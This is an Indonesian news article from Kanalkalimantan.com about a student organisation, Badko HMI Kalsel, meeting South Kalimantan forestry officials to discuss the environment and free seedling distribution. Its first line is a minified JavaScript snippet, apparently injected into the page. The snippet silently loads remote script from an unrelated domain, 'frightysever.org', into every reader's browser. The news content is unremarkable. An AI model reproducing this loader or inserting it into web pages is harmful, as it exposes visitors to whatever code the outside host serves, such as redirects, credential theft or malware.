(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Koordinasi Lingkungan Hidup dan Kehutanan di Banua Bakod HMI Kalsel Kunjungi Dishut Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan terima kunjungan Badan Koordinasi (Badko) Himpunan Mahasiswa Islam (HMI) Kalimantan Selatan terkait Rapat Koordinasi (Rakor) dalam rangka berdiskusi tentang lingkungan hidup dan kehutanan di Kalimantan Selatan.

Rakor tersebut dihadiri lima anggota perwakilan Badko HMI Kalsel, dan diterima langsung oleh Kabid Perencanaan Pemanfaatan Hutan Dishut Kalsel Warsita Jinawi bersama Kasi Perencanaan Pemanfaatan Hutan Dishut Kalsel Alip Winarto. Rakor tersebut dilaksanakan di Aula Rimbawan 2 Dishut Prov Kalsel, Selasa (23/8/2022).

Salah satu Perwakilan Badko Himpunan Mahasiswa Islam Kalimantan Selatan Abdul Halim, menjelaskan terkait tujuan organisasi mereka yakni ingin berdiskusi mengenai lingkungan hidup dan kehutanan di Kalimantan Selatan.

“Kami ingin menyampaikan tujuan kami dalam diskusi ini mengenai lingkungan hidup dan kehutanan di Kalimantan Selatan, serta ingin menanyakan bagaimana SOP atau sistematika agar masyarakat bisa dapat meminta bibit tanaman kepada Dinas Kehutanan untuk membantu dan bersama-sama mengijaukan/mereboisasi lingkungan,” kata Abdul Halim.

Kabid Perencanaan Pemanfaatan Hutan Warsita Jinawi, memberikan penjelasan terkait bagaimana SOP atau sistematika pengambilan bibit tanaman gratis untuk masyarakat “Untuk pengambilan bibit gratis itu sebenarnya mudah syaratnya cukup dengan membawa KTP saja dan lokasi pengambilannya juga ada disetiap daerah di Kalimantan Selatan, contohnya jika berdomisili di Tanah Laut bisa mengambilnya di kantor KPH Tanah Laut.” kata Warsita Jinawi.

Warsita Jinawi juga menambahkan “Kami sangat mendukung jika ada masyarakat atau pun pihak yang ingin ikut serta dalam perbaikan lingkungan dengan penanaman yang artinya selaras dengan program Revolusi Hijau yang dicanangkan Gubernur Kalimantan Selatan pada Tahun 2017 lalu” Pungkas Warsita Jinawi.

Dalam Koordinasi lingkungan hidup dan kehutanan di Kalimantan Selatan bersama Badan Koordinasi Himpunan Mahasiswa Islam Kalimantan Selatan tersebut juga disampaikan tindak lanjut mengenai permintaan data kawasan mengenai penggunaan hutan sosial yang ada di Kalimantan Selatan.(Kanalkalimantan.com/al)

Reporter : al
Editor : kk